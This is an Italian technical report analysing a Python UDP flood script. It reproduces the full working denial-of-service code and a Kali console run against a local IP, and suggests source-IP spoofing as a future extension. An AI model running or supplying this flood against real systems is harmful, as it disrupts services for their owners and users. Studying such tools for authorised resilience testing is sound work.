Report Tecnico sull'Analisi di uno Script Python per la Generazione di Traffico UDP Ad Alto Volume

Data: 7 Maggio 2025

Autore: Stefano Gugliotta

1. Introduzione

Il presente documento tecnico analizza uno script sviluppato in linguaggio Python, progettato per la generazione di traffico User Datagram Protocol (UDP) ad alto volume verso una destinazione specificata. L'obiettivo di tale funzionalità è intrinsecamente legato alla valutazione della resilienza di infrastrutture di rete e sistemi informatici in presenza di carichi di traffico elevati o potenziali scenari di attacco Denial of Service (DoS) basati su inondazione UDP.

2. Analisi Architetturale e Funzionale del Codice Sorgente

L'esame del codice sorgente evidenzia una struttura modulare incentrata su funzioni specifiche.

- **Importazione di Librerie Fondamentali:** Lo script si avvale delle librerie standard *random* e *socket*. La prima è impiegata per la generazione di sequenze di byte pseudo-casuali destinate al payload dei pacchetti UDP. La seconda fornisce l'interfaccia di programmazione per l'accesso alle funzionalità di rete a basso livello, consentendo la creazione e la manipolazione di socket di comunicazione.
- **Funzione *generate_payload(size=1024):*** Questa funzione incapsula la logica per la creazione di un blocco di dati binari di dimensione definita, con un valore predefinito di 1024 byte. Tali dati costituiscono il contenuto informativo dei datagrammi UDP trasmessi.

```python
def generate_payload(size=1024):
    return random.randbytes(size)
```

- **Funzione *udp_flood(thost, tport, num_pacchetti):*** Questa funzione rappresenta il fulcro operativo dello script. Al suo interno, viene istanziato un socket UDP (*socket.SOCK_DGRAM*) sulla famiglia di indirizzi Internet Protocol versione 4 (*socket.AF_INET*). Successivamente, attraverso un ciclo iterativo, la funzione trasmette un numero specificato di datagrammi UDP, ciascuno contenente un payload generato dinamicamente, verso l'indirizzo IP (*thost*) e la porta (*tport*) di destinazione. Un meccanismo di feedback in tempo reale (visualizzabile nell'output della console) indica lo stato di avanzamento della trasmissione. La gestione di potenziali eccezioni a livello di socket è implementata tramite un blocco *try...except*, mentre la chiusura

```python
def udp_flood(thost,tport,num_pacchetti):
    try:
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        payload=generate_payload()
        for i in range(num_pacchetti):
            udp_socket.sendto(payload,(thost,tport))
            print(f"Invio pacchetto {i+1}/{num_pacchetti}", end='\r')
        print('\nInvio Completato')
    except socket.error as e:
        print(f'\n Errore di socket: {e}')
    finally:
        if 'udp_socket' in locals():
            udp_socket.close()
            print('Socket chiuso')
```

controllata del socket è assicurata dal blocco *finally*, garantendo il rilascio delle risorse di sistema.

3. Interfaccia Utente e Validazione degli Input

La sezione di esecuzione principale dello script (*if __name__ == "__main__":*) definisce un'interfaccia interattiva per la configurazione dei parametri operativi. L'utente è chiamato a fornire l'indirizzo IP del sistema target, la porta UDP di destinazione e il numero di pacchetti da inviare (si rimanda alla documentazione visiva relativa all'interazione utente).

```python
if __name__ == "__main__":
    target_ip = input("Inserisci l'indirizzo IP target: ")
    try:
        # Chiede all'utente di inserire la porta UDP target e la converte in un intero
        target_port = int(input("Inserisci la porta UDP target: "))
        # Verifica che la porta sia un valore valido
        if not (1 <= target_port <= 65535):
            print("Porta non valida. Deve essere compresa tra 1 e 65535.")
        else:
            try:
                # Chiede all'utente di inserire il numero di pacchetti da inviare e lo converte i
                num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
                if num_packets <= 0:
                    print("Il numero di pacchetti deve essere maggiore di zero.")
                else:
                    udp_flood(target_ip, target_port, num_packets)
            except ValueError:
                # Gestisce l'errore se l'input per il numero di pacchetti non è un numero intero
                print("Input non valido per il numero di pacchetti.")
    except ValueError:
        print("Input non valido per la porta.")
```

Al fine di garantire l'integrità operativa, lo script include una fase di validazione degli input forniti dall'utente. In particolare, viene verificato che la porta di destinazione rientri nell'intervallo canonico delle porte UDP (1-65535) e che il numero di pacchetti da trasmettere sia un valore numerico positivo. In caso di input non conformi, vengono emessi messaggi di notifica all'utente (cfr. esempi di output allegati).

```
┌──(kali㉿kali)-[~/Desktop/VIsual Studio]
└─$ /usr/bin/python "/home/kali/Desktop/VIsual Studio/Dos-Atk.py"
Inserisci l'indirizzo IP target: 192.168.1.171
Inserisci la porta UDP target: 80
Inserisci il numero di pacchetti da inviare: 1024
Invio pacchetto 1024/1024
Invio Completato
Socket chiuso
```

4. Considerazioni Tecniche, Etiche e Legali

Dal punto di vista tecnico, lo script implementa una funzionalità basilare per la generazione di traffico UDP controllato. È imperativo sottolineare che l'impiego di tali strumenti per la generazione di traffico non sollecitato o malevolo verso sistemi per i quali non si detiene l'autorizzazione esplicita può arrecare danni significativi all'operatività dei servizi e configurarsi come attività illecita ai sensi delle normative vigenti.

L'utilizzo dello script deve essere rigorosamente confinato ad ambienti di test e valutazione della sicurezza informatica, con il pieno consenso e la consapevolezza dei proprietari dei

sistemi coinvolti. Qualsiasi impiego al di fuori di tali contesti è da considerarsi non etico e potenzialmente illegale.

5. Potenziali Evoluzioni in Ambienti di Test Autorizzati

In scenari di valutazione tecnica lecita, lo script potrebbe essere oggetto di ulteriori sviluppi, tra cui l'implementazione di meccanismi per la modulazione della frequenza di trasmissione dei pacchetti, la randomizzazione degli indirizzi IP sorgente (con piena consapevolezza delle implicazioni a livello di tracciabilità e risposta), e la variazione dinamica delle dimensioni del payload dei datagrammi UDP.

6. Conclusioni

Lo script Python analizzato fornisce una funzionalità elementare ma efficace per la generazione di traffico UDP ad alto volume. La sua applicazione deve essere strettamente circoscritta a contesti di analisi tecnica e valutazione della sicurezza informatica, nel pieno rispetto delle normative legali ed etiche. La documentazione visiva allegata (screenshot del codice sorgente e degli output operativi) contribuisce a una comprensione più approfondita delle sue caratteristiche e del suo potenziale impatto in scenari d'uso leciti e controllati.